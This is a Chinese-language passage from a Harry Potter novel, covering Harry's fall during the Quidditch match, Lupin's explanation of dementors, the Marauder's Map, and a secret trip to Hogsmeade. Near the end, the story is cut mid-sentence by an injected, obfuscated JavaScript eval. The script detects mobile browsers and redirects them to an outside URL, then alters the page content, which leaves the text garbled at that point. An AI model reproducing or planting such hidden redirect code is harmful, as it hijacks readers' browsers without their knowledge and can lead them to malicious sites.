“别动哈利,请不要,带我去吧,杀了我得了——” 哈利满脑子麻木,满脑子白色的迷雾...他在干什么?他为什么在飞?他必须帮助她...她要死了...她要被人谋杀了...他在往下坠落,在那冰冷的迷雾中坠落。 “别动哈利!请别动...发发慈悲...发发慈悲...” 一个尖厉的声音在大笑,那妇女在尖叫,哈利什么都不知道了。 “幸好地面那么软。” “我以为他必死无疑。” “但是他连眼镜都没有碎。” 哈利听见这些人的低语,但听不懂他们在说什么。他不知道自己身在何处,也不知道自己是怎么到这里来的,或者自己到这里以前在干什么。他知道的只是自己浑身都痛,好像被人打了一样。 “这是我生平见过的最可怕的事。” 最可怕的...最可怕的东西...戴头巾的黑色影子...寒冷...尖叫声...哈利忽然睁开眼睛。他躺在医院里。格兰芬多的魁地奇球队队员从头到脚都溅满了泥浆,正环绕在他的床边。罗恩和赫敏也在,那样子好像是刚从游泳池里爬上来。 “哈利!”弗雷德说,他在泥浆之下显得特别白,“你觉得怎么样?” 哈利的记忆好像飞快地回来了:那闪电...那阴郁无情...那金色飞贼...还有那摄魂怪... “发生了什么事?”他说,突然坐起来,把他们都吓了一大跳。 “你摔下来了,”弗雷德说,“一定有——那么——五十英尺?” “我们以为你死了呢,”艾丽娅说,她在发抖。赫敏低低地发出一声短促刺耳的声音,她的眼睛充血充得厉害。 “但是那场比赛,”哈利说,“发生了什么事?我们还能再赛吗?” 没人说话。可怕的事实像石头一样沉到哈利心里。“我们没有——失败吧?” “迪戈里抓到金色飞贼了,”乔治说,“就在你跌下来之后。他不明白发生了什么事。等他回头一看,看到你跌在地上,就打算中断这场比赛,想重新赛一场。但是他们胜得公平,胜得光明磊落...就连伍德也承认这一点。” “伍德在哪里?”哈利说,突然发现伍德没在场。 “还在雨里淋着呢,”弗雷德说,“我们想,他打算淹死自己呢。” 哈利把脸埋在两膝之间,两手抓住头发。弗雷德抓住哈利的肩膀,粗暴地摇着。 “好了,哈利,你以前总是能抓到金色飞贼。” “总会有一次失手的。”乔治说。 “比赛还没有结束,”弗雷德说,“我们丢了一百分,对不对?所以,如果赫奇帕奇输给拉文克劳,而我们又打败了拉文克劳和斯莱特林...” “赫奇帕奇至少要丢二百分。”乔治说。“但如果他们打败了拉文克劳...” “没门,拉文克劳太棒了。但如果斯莱特林输给了赫奇帕奇...” “这都要看分了——不管谁输谁赢,都是一百分的事——” 哈利躺在那里,一句话没说。他们输了...他还是第一次在魁地奇比赛中输掉。 大约十分钟以后,庞弗雷夫人过来告诉球队队员让哈利休息。 “我们以后再来看你。”弗雷德告诉哈利,“别怪自己,哈利。你仍旧是我们最好的找球手。” 球队走了,身后留下一道道泥浆。庞弗雷夫人在他们身后关上了门,一脸不高兴的样子。 罗恩和赫敏走近哈利床前。 “邓布利多真正生气了,”赫敏颤抖着声音说,“我还从来没有看见他这么生气过。你摔下来的时候他奔到球场上去了,他挥动魔杖,你撞到地面以前,好像就放慢了下落的速度。然后他对摄魂怪舞动魔杖,向它们射出银色的东西。它们直接离开了看台..它们来到球场上,他对这件事气得不得了,我们听到他——” “然后他施魔法把你放到担架上,”罗恩说,“你在担架上飘浮着,他步行跟着你到了学校。大家都以为你...” 他声音低了下去,但哈利几乎没有注意到。他在想摄魂怪对他做了什么...想那尖叫的声音。他抬头一看,只见罗恩和赫敏在焦急地看着他,于是他很快地想出别的实在的话来了。 “有人拿到我的光轮2000了吗?” 罗恩和赫敏迅速地彼此对看了一眼。“哦——” “怎么?”哈利说,对他们俩一个个地看过来。 “唔...你摔下来的时候,它也就被吹走了。”赫敏迟疑地说。 “然后呢?” “然后它撞在——撞在——哦,哈利——它撞在那棵打人柳上了。” 哈利心里一阵绞痛。那棵打人柳是棵很暴烈的树,它长在禁林中央。 “然后呢?”哈利问,心里害怕听到回答。 “唔,你知道那棵打人柳的,”罗恩说,“它——它不喜欢人家撞到它。” “你醒过来之前,弗立维教授刚把它拿回来。”赫敏声音很低地说。 她慢慢地伸手去拿她脚边的书包,把书包底朝下一倒。十几片木头和扫帚尾巴的碎片落在了床上。 这就是哈利最后被击败的,忠实的飞天扫帚的残骸。 48.活点地图 庞弗雷夫人要哈利在医院里待到周末。他既没有和她争辩,也没有抱怨,只是不让她扔掉光轮2000的碎片。 他知道这是犯傻,知道光轮已经无法修复,但他情不自禁地要这样做,他觉得好像是失去了一个最好的朋友。 许多人来看他,都一心一意想让他高兴起来。 海格送给他一束地蜈蚣花,看上去像是黄色的大白菜。金妮韦斯莱来的时候满脸通红,给了他一张自制的康复卡,如果哈利不把这张卡闭拢并且把它压在碗碟或是水果下面,它就会尖声唱起歌来。 格兰芬多球队队员星期天早上又来看哈利了,这次伍德也来了,伍德嗓音空洞、全无生气,他对哈利说,他一点儿也不怪哈利。 罗恩和赫敏只是到了晚上才离开哈利床边。但是,不管别人说什么做什么,都不能让哈利觉得好过一点儿,因为人们所知道的,只是他烦恼的一半而已。 他没有把他看到不祥的事告诉任何人,就连罗恩和赫敏也没有,因为他知道罗恩会惊慌失措,而赫敏会嘲笑他。然而,事实是它已经出现两次了,两次出现以后都发生了差不多致人于死地的事件:第一次,他差点儿被骑士公共汽车轧死;第二次,他从离地五十英尺的飞天扫帚上掉下来。 不祥难道要一直缠着他、直到他真的死了吗?他的余生难道要一直提防着这头畜生吗?然后还有那些摄魂怪。 每次想起它们,哈利都觉得恶心和羞辱。大家都说它们可怕,但是别人谁也没有像他那样,它们一走近就昏倒呀...别人谁也没有在脑子里反复听到,正要死去的父母的说话声呀。 因为现在哈利知道那是谁的声音了。夜里,他躺在医院里,醒着,瞪眼看着天花板上一道道的月光。 这时候,他听到了她的话,听到这些话一次又一次地重复着。那些摄魂怪走近他的时候,他听到了妈妈临终时的声音。她努力保护他,不让他受到伏地魔的伤害;他还听到了伏地魔在杀死妈妈以前的笑声...哈利时不时地睡过去,在睡眠中做着梦:到处是潮湿黏滑、已经腐烂的手和令人毛骨悚然的乞求声。他一下子惊醒了,却又听到了妈妈的声音。 星期一,哈利回到了学校本部的喧闹忙碌之中,这真让他松了一口气。尽管他还要忍受马尔福的奚落,但在学校里他只能想其他事情。马尔福看到格兰芬多球赛失败。高兴得几乎要发狂了。他终于拿掉了绷带,精神饱满地模仿哈利从飞天扫帚上跌下来的样子,以此来庆祝他又可以充分使用两条胳膊了。在以后的魔药课上,马尔福有许多次穿过城堡主楼都要模仿那些摄魂怪;罗恩最后发怒了,把一个又大又滑的鳄鱼心脏对准马尔福扔了过去,正扔中他的脸,气得斯内普扣了格兰芬多五十分。 “如果斯内普再来上黑魔法防御术课,我就请病假。”罗恩说,这时他们已经吃罢午饭,正要去上卢平教授的课。“赫敏,去看看是谁来上课。” 赫敏在教室门边张望了一下。 “没事!” 卢平教授回来上课了。他看上去的确生过病。他的旧袍子穿在身上更加松松垮垮,他眼睛下面有黑影。虽然如此,全班同学坐下时,他对他们笑了笑。而他们立刻狠狠地埋怨起,斯内普在卢平生病时的所作所为。 “不公平,他只是来代课罢了,为什么要给我们留作业?” “我们都不知道什么是狼人——” “——两卷羊皮纸!” “你们没有告诉斯内普教授说,我们还没有学到那里吗?”卢平问道,略微皱起眉头。 大家又纷纷说起来。 “说了,但是他说我们太落后了——” “——他不听——” “——两卷羊皮纸!” 大家都是一脸的愤愤不平,卢平教授只是微微一笑。 “别担心。我会对斯内普教授说的。你们不必写那篇论文。” “哦,不,”赫敏说。很失望的样子,“我已经写完了。” 这一课上得很愉快。卢平教授带来了一个玻璃水箱,里面是欣克庞克,一条腿的家伙,看上去像是一缕缕的烟做成的,很脆弱,而且看上去也没有想伤害人的样子。 “引诱旅行者陷入沼泽。”卢平教授说,学生们记着笔记。“你们注意到它前脚上垂下的那盏灯了吗?在前面跳跃——人们跟着光走——于是——” 欣克庞克头顶着玻璃,发出一阵可怕的咯吱咯吱的声音。 下课铃响了,大家收拾好东西向门口走去,哈利也在其中,但是—— “等一下,哈利,”卢平招呼他,“我有话要跟你说。” 哈利折了回来。看着卢乎教授把装有欣克庞克的盒子蒙上了一层布。 “我听说那场比赛的事了,”卢平说着,转身到讲台桌上把书装到他的公文包里,“你的飞天扫帚的事我也很遗憾。还能修吗?” “不能了,”哈利说,“那棵树把它打得粉碎。” 卢平叹了口气。 “我到霍格沃茨的那一年,他们种了这棵树。人们过去时常玩一种游戏,就是试着去碰那棵树。最后,一个叫做戴维·格杰恩的男孩几乎丢掉了一只眼睛,后来就不让我们走近那棵树了。飞天扫帚当然不能幸免啦。” “你也听说了那些摄魂怪吗?” 卢平迅速看了他一眼。 “对,听说了。我想,我们谁也没有见过邓布利多教授那样发怒。一些日子以来,那些家伙越来越不安定了...因为不能进入校园怒气冲冲...我想是它们害得你掉下来的吧?” “是的。”哈利说。他踌躇起来,然后他不得不问的那个问题脱口而出,想要住口已经来不及了。“为什么?为什么它们会那样地影响我?我是不是—— ” “这和软弱没有关系。”卢平教授尖锐地说。好像一眼看穿了哈利在想什么。“那些摄魂怪对你的影响比对别人厉害,那是因为别人没有你以前有过的恐怖感觉。” 一缕冬日的阳光照进了教室,照亮了卢平的灰色头发和他年轻脸庞上的皱纹。 “摄魂怪是地球上最可恶的生物之一。它们成群结队地出没在最黑暗最肮脏的地方,为腐败和绝望欢呼,把它们周围空气中的和平、希望和快乐都吸得一干二净。就连麻瓜们也感觉得到它们的存在,虽然他们看不到这些家伙。过于靠近一个摄魂怪,你的任何良好感觉、任何快乐的记忆都会被它吸走。如果可以的话,它会长期靠你为生,最后将你弄得和它一样——没有灵魂,而且邪恶。留给你的只有你一生中最坏的记忆。在你身上已经发生的最坏的事情,哈利,已经足够让任何人从飞天扫帚上掉下来。你没有什么可害羞的。” “它们靠近我的时候——”哈利瞪着卢平的书桌说,喉咙发紧,“我能够听到伏地魔在杀害我的妈妈。” 卢平的手臂突然一动,好像要去抓住哈利的肩膀,但又改变了主意。沉寂了一会儿,然后—— “它们为什么要到比赛场地来呢?”哈利痛苦地问道。 “它们饿了。”卢平冷淡地说,啪的一声关上了他的公文包。“邓布利多不让它们进入学校,所以供给它们的人类牺牲品就用完了,我认为魁地奇比赛场周围的大批人群对它们是很大的诱惑。所有那些兴奋...激情高涨...在它们看来就是一场盛宴。” “阿兹卡班一定很可怕。”哈利嘟囔着说。 卢平阴郁地点点头。 “城堡坐落在一个小岛上,在出海的路上,但是那里不需要用围墙和水来关犯人,因为犯人都在它们的掌握之中,犯人本身不会有最简单的思想。多数犯人几周之内就疯了。” “但是布莱克从它们手中逃了出来,”哈利慢慢地说,“他逃走了...” 卢平的公文包从桌子上滑了下去,他不得不迅速弯下腰去捡。 “是的,”他直起身子来说,“布莱克一定找到了应付它们的办法。我是不相信他能够...如果巫师和摄魂怪待在一起的时候太长,它们就会使巫师失去法力...” “你让火车上的那个摄魂怪退却了。”哈利突然说。 “有——某些防御方法是人们可以应用的,”卢平说,“不过当时火车上只有一个那样的家伙。它们的数目越多,就越难抵御。” “什么样的防御方法啊?”哈利马上问,“您能教给我吗?” “我可不想假装是抵御摄魂怪的专家,哈利——事情正相反...” “但是如果,再有魁地奇比赛的时候,它们又来了,那找可得有办法对付它们啊——” 卢平看着哈利那张坚定的脸,踌躇了,然后说:“唔...好吧。我想办法帮你。但这件事恐怕要等到下学期。放假以前我有许多事情要做。我生病真生得不是时候。” 卢平答应教哈利如何防御摄魂怪,哈利认为自己也许再也不会听到,妈妈临死前的声音了。十一月底,拉文克劳队打败了赫奇帕奇队。这些事加在一起,使哈利的情绪明显高涨起来。格兰芬多队毕竟还有比赛的机会,尽管他们现在可不能再输一场球了。 伍德又精力充沛起来,在一直延续到十二月的寒冷刺骨的风雨中,仍旧不遗余力地抓紧训练他的球队。哈利在校园里没有看到任何摄魂怪的踪迹。邓布利多的怒火似乎把它们限制在学校入口处的岗位上了。 学期结束前两个星期的时候,天空突然放晴,呈现出炫目的蛋白色,泥泞的场地也在一天早晨蒙上了一层发亮的霜。城堡里面,到处有着圣诞节的气氛。魔咒课教师弗立维教授已经用有微光闪烁的光源在装饰他的教室,这些光源其实是真正的不断振翅的小仙女。 学生们都在快乐地讨论度假计划。罗恩和赫敏都决定留在霍格沃茨,罗恩说他可忍受不了有两个星期的时间和珀西待在一起,赫敏则坚持说她要去图书馆,但哈利心里明白:他们这样做是为了陪他,他很感激。 学期的最后一周,又可以到霍格莫德村去一次。除了哈利之外,大家都很高兴。 “我们想买的圣诞节东西都可以在那里买!”赫敏说,“妈妈和爸爸实在是喜欢从蜂蜜公爵那里买来的毛毛牙薄荷糖!” 哈利又是唯一一个留校的三年级学生,对此他很愤慨,就从伍德那里借了一本《飞天扫帚分类》来看,而且决定把这一天花在了解不同样式的飞天扫帚上。在球队练习的时候,他骑过学校的一把扫帚,那是一把老旧的流星,又慢又摇晃。他肯定需要有一把自己的新扫帚。 在大家去霍格莫德村的那个星期六早晨,哈利和披着斗篷、围着围巾的罗恩、赫敏道了别,然后独自踏上那道大理石楼梯回格兰芬多塔楼去了。窗外飘起了雪花,城堡非常安静。 “噫——哈利!”哈利在四楼的走廊半中腰转过身来,看见弗雷德和乔治从一个独眼驼背的女巫雕像后面向他窥望。 “你们在于吗?”哈利好奇地问道,“你们怎么没有到霍格莫德村去呢?” “我们走以前来给你一点儿节日气氛。”弗雷德说,神秘地眨了一下眼睛,“到这里来...” 他向独眼雕像左边的一间空教室点了一下头,哈利跟着弗雷德和乔治进去了。乔治轻轻关上门,然后转过身来,满脸是笑,看着哈利。 “提早给你送圣诞礼物呢,哈利。”他说。 弗雷德手一挥,从斗篷里面抽出了一个东西,把它放在一张空桌上。那是一张大大的、方方正正的、很旧的羊皮纸,上面什么也没有写。哈利以为这又是弗雷德和乔治的玩笑,瞪眼看着它。 “你们说这是什么呀?” “这个嘛,哈利,是我们成功的秘密。”乔治说,深情地拍了拍那张羊皮纸。 “把它给你真有点儿舍不得,”弗雷德说,“不过昨晚我们认定你比我们更需要它。” “不管怎么说,我们已经记住它的内容了。”乔治说,“我们把它赠送给你。我们不再需要它了。” “这样一小张破旧的羊皮纸,我要它干吗?”哈利问。 “一小张破旧的羊皮纸!”弗雷德说,闭起眼睛做了个鬼脸,好像哈利小瞧了他似的。“解释一下,乔治。” “好吧...我们一年级的时候,哈利——年轻、无忧无虑,又天真——” 哈利鼻子里哼了一声。他怀疑弗雷德和乔治是否天真过。 “——唔,比我们现在天真——我们和费尔奇之间发生了一点儿麻烦。” “我们在走廊里放了一个大粪弹,出于某种缘故,这个炸弹让他很沮丧——” “所以他把我们拉到他的办公室里去了,开始用那种通常的——” “——关禁闭——” “——把我们的肠子掏出来——” “——而我们忍不住注意到了他的档案柜抽屉,其中有一个抽屉上写着:没收物资,高度危险。” “别告诉我——”哈利说,开始笑了。 “唔,你会怎么做呢?”弗雷德说,“乔治又扔了个大粪弹,分散了他的注意力。 我飞快地拉开抽屉,一把抓住——这个。” “这件事不像听起来的那么坏,你知道,”乔治说,“我们认为费尔奇从来没有发现怎么使用这张羊皮纸。不过他很可能猜到了这是什么东西,要不然他也不会没收它。” “你们知道怎么使用吗?” “哦,是啊,”弗雷德痴笑着说,“这个小小的漂亮东西教会我们的,可要比全校老师教的还要多。” “你们在哄骗我吧。”哈利说,一面看着那张破破烂烂的羊皮纸。 “哦,我们骗你吗?”乔治说。他拿出魔杖,轻轻触了一下那张羊皮纸说:“我庄严宣誓,我不干好事。” 像蜘蛛网一样细细的墨水线条立刻从魔杖刚才碰过的地方开始出现了。这些线条彼此汇合、彼此交叉,延伸到这张羊皮纸的每个角落。然后羊皮纸上方开始出现字迹,是弯曲的绿色大字,它们是:魔法恶作剧制作者的辅助物,供应商:月亮脸、虫尾巴、大脚板和尖头叉子,诸位先生自豪地献上活点地图。 这张地图详尽地画出了霍格沃茨城堡和各个场地的一切细节。 但是,真正值得注意的东西是沿着地图移动的小小的墨水点,每个墨水点都用极小的字母标出一个姓名。哈利大为惊讶,他俯身细看。左上角的一个小墨水点,显示邓布利多教授正在书房里踱步,费尔奇的猫,洛丽丝夫人正在三楼徘徊,而爱捉弄人的幽灵皮皮鬼正在奖品室里跳来跳去。哈利的眼光在他所熟悉的走廊里上下扫动。这时,他又注意到了什么东西。 这张地图显示出一系列,他以前从来没有进去过的通道。这些通道之中有许多好像是通往—— “正是通往霍格莫德村的,”弗雷德用手指沿着一条通道指着说,“一共有七条呢。喏,费尔奇知道这四条——”他把那四条一一指出来,“——但是我们可以肯定,只有我们知道这几条。不必为五楼镜子后面的那条费神,去年冬天以前,我们一直用它,但是它倒塌了——完全堵塞住了。这一条我们认为谁也没有走过,因为那棵打人柳就种在它的入口处。但是,这条一直通到蜂蜜公爵的地窖那里,我们走过许多次了。你也许已经注意到,入口正好就在这间房间下面,要通过这个独眼老太婆的驼背。” “月亮脸、虫尾巴、大脚板、尖头叉子,”乔洽叹息着,拍拍这张地图的标题,“我们欠他们好多情哟。” “高尚的人啊,不倦地工作,为的是帮助新一代破坏法规的人。”弗雷德庄严地说。 “对,”乔治轻快地说,“别忘记用完了擦掉——” “——要不然别人会看到的。”弗雷德警告说。“只要再轻轻敲一下,说:‘恶作剧完毕!’它就又变成一张空白的羊皮纸了。” “那么,年轻的哈利,”弗雷德怪模怪样地学着珀西的腔调说道,“记着要规矩点。” “在蜂蜜公爵那里见。”乔治眨着眼说。他们离开了,两人都心满意足地傻笑着。 哈利站在那里,瞪着那张神奇的地图。他看着代表洛丽丝夫人的小墨水点向左边转去,停下来,嗅着地板上的什么东西。如果费尔奇真的不知道的话...他根本就不必从那些摄魂怪面前走过了...但就在他满心兴奋地站在那里的时候,他脑子里却浮现出了,有一次听到的韦斯莱先生的话:要是你看不到它的脑子在哪里,那就永远不要信任任何,能够自己思考的东西。 这张地图就是韦斯莱先生曾经提出警告的、那种危险的魔法物体...魔法恶作剧制造者的辅助物...但是,哈利推理道,他只想利用这张地图到霍格莫德村去,这可不是说他想偷什么东西或者是攻击什么人...弗雷德和乔治用这张地图已经好几年了,并没有发生什么可怕的事情——哈利用手指沿着通往霍格莫德村的通道。 然后,突然间,好像是听到了什么命令一样,他卷起地图,把它塞到他的袍子里面,匆忙走到教室门口。他把门打开了两英寸。外面没有人。他很小心地慢慢走出这间教室,溜到那座独眼女巫的雕像后面。 他必须做什么呢?他又拿出地图来看,惊讶地看见地图上有了一个新的墨水点,它标明是“哈利·波特”。这个小人儿正好在真正的哈利所在的地方,大约在四楼走廊的中间。哈利仔细地看着。小小的墨水人儿哈利似乎正在用小魔杖轻敲那女巫。没有什么动静。他又去看那张地图。地图上的哈利旁边出现了最小的泡沫组成的咒语:“左右分离”。 “左右分离!”哈利自语道,又去轻敲那石头女巫。 雕像的驼背立即开启了,大得足够让一个稍瘦的人进去。哈利迅速地向走廊前后看了一眼,然后把地图掖了起来,脑袋向前爬进那个洞中,然后在洞里前进。 他滑了相当长的一段路,那段路像是石头滑梯一样,然后他碰到了寒冷潮湿的土地。 他站了起来,向四周看了看。四周乌黑一片。他举起魔杖咕哝道:“荧光闪烁!”于是就看见自己在一条很狭窄低矮的通道里。 他举起地图,用魔杖的末端轻敲它并且咕哝道:“恶作剧完毕!”地图马上就变成了一片空白。他仔细地卷起地图,把它塞到袍子里面,然后。由于兴奋和害怕,心跳得很快。他就这样出发了。 这条通道弯弯越曲,和兔子的地道没有什么两样。哈利匆匆地走着。由于地面不平,时不时地跌跌绊绊,一路上他都把魔杖举在面前。 走了很长很长时间,但是哈利有蜂蜜公爵的前景在鼓舞着他前进。大约一个小时以后,通道向上伸去。哈利喘息着加快速度,脸是红的,双脚却是冷的。 十分钟后,他走到了一道破损的石阶脚下,石阶一直伸展到上面他看不见的地方。哈利小心不弄出声音来,开始向上爬去。一百级、二百级,他边爬边数,后来就数乱了。他爬呀爬,注意着自己的双脚...然后,他冷不丁一头撞到了什么坚硬的东西上。 这好像是扇地板门。哈利站在那里,摸着自己被撞痛的脑袋,听着。他听不到上面有什么声音。他很慢地推开那扇地板门,偷偷地向外窥看。 他是在一间地窖里,周围放满了木椅子和木箱子。哈利爬出地板门,把它关好——这扇门和满是灰尘的地板浑然一体,真看不出来地板上会有这样一扇门。哈利慢慢地爬向那道通向楼上的木楼梯。现在他确信自己听见了各种人的说话声,更不要说摇铃和开关门的声音了。 哈利不知道自己应该做什么,正在这时,他突然听到很近的地方有一扇门开了,有人正要下楼。 “再拿一箱果冻鼻涕虫,亲爱的,他们快要把我们的存货买光了...”一个妇女的声音说道。 一双脚下楼来了。哈利跳到了一只巨大的木板箱后面,等待脚步声远去。 他听到那男子在对面的墙那里搬动箱子。他也许不会再有机会了——哈利迅速地、不声不响地从躲藏的地方出来,上了楼梯。他回头一望,看到一个宽阔无比的后背和一个发亮的脑袋——埋在一口箱子下面。哈利走到楼梯顶端的门边,溜出门,发现自己来到了蜂蜜公爵的柜台后面——他弯下身子,向侧面爬去,然后直起身子。 蜂蜜公爵里挤满了霍格沃茨的学生,因此没有人会对哈利多看一眼。哈利在他们中间走着,一面四处观看。如果现在达力能够看到哈利在什么地方,他那张肮脏的脸上会出现什么样的表情呢,哈利想到这里就忍不住要笑出声来。 店里有着一个又一个货架,上面放满了人们能够想象得到的、最引入入胜的糖果。大块的奶油花生糖、一块块发微光的粉红色椰子冰糕、排列得整整齐齐的成百种各式各样的巧克力、一大桶多味豆、一桶滋滋蜜蜂糖、罗恩提到过的飘浮在空中的果子露饮料,沿着另外一堵墙的是“具有特殊效果”的各种糖果:吹宝超级泡泡糖(它能使整个房间充满蓝色风铃草颜色的泡泡,几天都不会破灭)、奇异的碎片状的毛毛牙薄荷糖、小巧的黑胡椒小顽童(“为你的朋友从鼻子里向外喷火!”)、冰耗子(“听到你的牙齿打战和咯吱咯吱的声音!”)、形状像蟾蜍的奶油薄荷糖(“真的会在胃里跳动!”)、松脆的糖羽毛笔和会爆炸的夹心糖。 哈利从六年级学生中挤了过去,看到这家店铺最远的角落里挂着一块招牌 (“不同寻常的口味”)。罗恩和赫敏站在这块招牌下面,正仔细端详着一盘有血腥气的棒棒糖。哈利偷偷走到他们身后。 “唔,不,哈利不会要它的,这是给吸血鬼的,我想。”赫敏正在说。 “那这个怎么样?”罗恩问,把一罐挤成一团的蟑螂塞到赫敏的鼻子底下。 “肯定不要。”哈利说。罗恩差点儿没摔了罐子。 “哈利!”赫敏尖叫,“你在这里干什么?你怎么——怎么来的?” “ 哇!”罗恩说。像是得到了深刻的印象,“ 你学会潜形了!” “我当然没有。”哈利说。他放低了声音以免六年级学生听到,然后把有关活点地图的事详尽地告诉了他们。 “弗雷德和乔治怎么就从来没有给我呢!”罗恩说,气得不可开交,“我可是他们的弟弟啊!” “但是哈利不会长期占用的!”赫敏说,好像这个想法很荒谬可笑。“他会把这张地图交给麦格教授的,是不是,哈利?” “不,我不交!”哈利说。 “你疯啦?”罗恩说,瞪着赫敏,“把这么好的东西交了?” “要是我交了,我就不得不说我是从哪里拿到的!费尔奇就会知道是弗雷德和乔治拿的!” “但是布莱克呢?”赫敏咬着牙齿说,“他可以利用这张地图上的随便一条通道进入城堡!老师们一定会知道!” “他不可能从通道进来,”哈利迅速地说,“地图上有七条秘密通道,对不对?弗雷德和乔治估计,费尔奇可能知道其中的四条。其他三条——一条已经塌了,谁也不能从那条通道进来。一条的入口处种上了那棵打人柳,进去就出不来。我刚刚走过的那一条——唔——在地窖里真的很难看到它的入口在哪里——所以除非他知道有这条秘密通道——” 哈利踌躇了,如果布莱克的确知道有这条通道呢?然而,罗恩一本正经地清了清嗓子,指着糖果店大门里面贴着的一张通告。 奉魔法部命令顾客注意:在另有通知之前,摄魂怪将于每天日落后,在霍格莫德街道上巡逻。此举纯为霍格莫德居民之安全而设,一俟小天狼星布莱克再度被捉拿归案即予取消。望顾客于傍晚之前采购完毕是幸。 圣诞快乐! “看见啦?”罗恩平静地说道,“这里到处有摄魂怪,我倒想看看布莱克在这种情形下,怎么能够闯进糖果店。不管怎么样,赫敏,糖果店老板总会听到有人闯进来的,对不对?他们就住在糖果店楼上!” “是的,不过——不过——”赫敏好像努力再从什么地方挑刺儿。“看,哈利还是不应该到霍格莫德村来,他没有交签过字的申请表啊!如果有人发现哈利到这里来了,哈利就会遇到大麻烦的!而且现在天还亮着呢——要是小天狼星布莱克今天、现在就出现了呢?” “他要发现哈利在这里也不容易呢。”罗恩说,隔着竖框的窗子,向外面纷飞的大雪点头。“得了吧,赫敏,这是圣诞节,哈利应该放松一下了。” 赫敏咬着嘴唇,一副很担心的样子。 “你打算告发我吗?”哈利笑嘻嘻地问她。 “哦——当然不——但是老实说,哈利—— ” “看到那滋滋蜜蜂糖了吧,哈利?”罗恩说,抓住哈利领他到了那个大桶边上。“还有那果冻鼻涕虫?还有那酸棒糖?我七岁的时候,弗雷德给过我一根——它恰恰就在我舌头上烧了个洞。我记得妈妈用扫帚猛打了弗雷德一顿。” 罗恩沉思地看着那放酸棒糖的纸箱子。“要是我告诉弗雷德说那是花生,你想他会不会把蟑螂团子咬上一口呢?” 罗恩和赫敏付清了他们买糖果的钱,三个人就离开糖果店走到外面的暴风雪里去了。 霍格莫德村看上去像是一张圣诞贺卡:小茅屋和店铺都盖上了一层松脆的雪,各家各户的门上都有冬青扎成的花环,施过魔法的蜡烛成串地挂在树上。 哈利冷得发抖,他不像那两人,他没有穿斗篷。他们在街上走着,低着脑袋以抵御寒风。罗恩和赫敏隔着围巾大喊起来。 “那就是邮局——” “佐科店就在那边——” “我们可以到那座尖叫棚屋去——” “告诉你们怎么办,”罗恩说,冷得牙齿直打战,“我们去三把扫帚喝黄油啤酒好吗?” 哈利再愿意不过了,风狂雪骤,他的手快冻僵了。 于是他们穿过马路,几分钟以后,就进了那家小旅馆。那里拥挤嘈杂,温暖而烟雾腾腾,一个身材婀娜、脸庞标致的妇女正在吧台那里照料一帮子吵吵闹闹的巫师。 “那是罗斯默塔女士。”罗恩说,“我去叫酒,好吗?”他加上一句,脸有点儿红。 哈利和赫敏走到房间后部,那里的窗子和美丽的圣诞树之间有一张小桌子空着,还靠近壁炉。 五分钟之后,罗恩回来了,拿着三大杯冒着泡沫的热黄油啤酒。 “圣诞快乐!”他高兴地说,举起了他的大杯子。哈利大大地喝了一口。这是他喝过的味道最好的饮料,而且这酒似乎让他从内而外地暖和起来了。 突然,一阵微风拂过他的头发,三把扫帚的门又开了。哈利从大杯子的边上往门口看去,这一看,几乎把他噎住了。 麦格教授和弗立维教授在一阵雪花飞扬中刚刚走进小酒馆,后面紧跟着海格,他和一位头戴暗黄绿色圆顶硬礼帽、身披细条斗篷、举止庄重的男子正谈得热闹,此人正是魔法部部长,康奈利·福吉。 罗恩和赫敏立即都把手放在哈利脑袋上,使劲把他往桌子下面按。哈利 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15411799|167802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘴边滴着黄油啤酒,蹲在人们看不见他的地方,手里紧握空杯,眼睛看着老师们和福吉的脚走向吧台,停下来,然后回转身,直接向他们走来。 在他头上的什么地方,赫敏悄声说:“移形幻影!” 他们桌子旁边的圣诞树上升到了离地面几英寸的地方,向边上移动,轻轻地一声钝响,正落在他们桌子前面,把他们遮住了。哈利透过圣诞树下部浓密的枝叶往外看,只见邻桌的四张椅子的脚往后退去,然后听到老师们和福吉坐了下来,嘴里咕哝着并且发出叹息。 然后他又看见一双脚,穿着华丽的青绿色高跟鞋,还听到了一位妇女的说话声。 “一小杯峡谷水——” “我的。”麦格教授的声音。 “四品脱蜂蜜酒——” “谢谢,罗斯默塔。”海格说。 “一份雪利果汁苏打水加冰和伞螺——” “唔!”弗立维教授说,还咂着嘴唇。 “那您的就是红醋栗甜酒了,部长。” “谢谢你,罗斯默塔,亲爱的,”福吉的声音说,“我一定要说,又看见你真高兴。你也来一杯吧,好不好?来和我们坐在一起...” “好吧。多谢您,部长。” 哈利看着那双发亮的高跟鞋走开又回来了。他的心一直跳到了嗓子眼儿,很不舒服。他怎么就没有想到:对老师们来说这也是本学期最后一周?他们要在这里坐多久?要是他打算今晚回学校的话,他就需要时间,以便偷偷回到蜂蜜公爵糖果店去...赫敏的腿在他旁边不安地扭动了一下。 “什么风把您吹到这里来了,部长?”这是罗斯默塔的声音。 哈利看到福吉粗壮的下半身在椅子上扭动了一下,好像是在察看周围有没有人偷听。然后他安静地说:“除了小天狼星布莱克还会有什么事呢,亲爱的?我敢说你已经听到万圣节前夕在学校发生的事了吧?” “我是听到传言了。”罗斯默塔女士承认说。 “你有没有告诉整个酒馆的人啊,海格?”麦格教授愤怒地说。 “您认为布莱克还在这一带吗,部长?”罗斯默塔女士低声问道。 “肯定的。”福吉简短地说。 “您知道摄魂怪已经把我的小酒馆搜查了两次吗?”罗斯默塔女士说,声音里有一点点锋芒。“把我的顾客都吓跑了...这对做生意很不好,部长。” “罗斯默塔,亲爱的,我和你一样,我也不喜欢它们呀。”福吉不安地说,“必要的防备...但你说得对...我刚才还遇到几个。它们对邓布利多恼火极了——他不让它们走进城堡场地。” “我认为是不应该让它们进去的,”麦格教授尖锐地说,“这些可怕的东西到处飘浮着,我们怎么教学呀?” “听啊,听啊!”身材矮小的弗立维教授尖声叫道,他的脚悬在那里,离地足有一英尺。 “我们都知道布莱克能...” 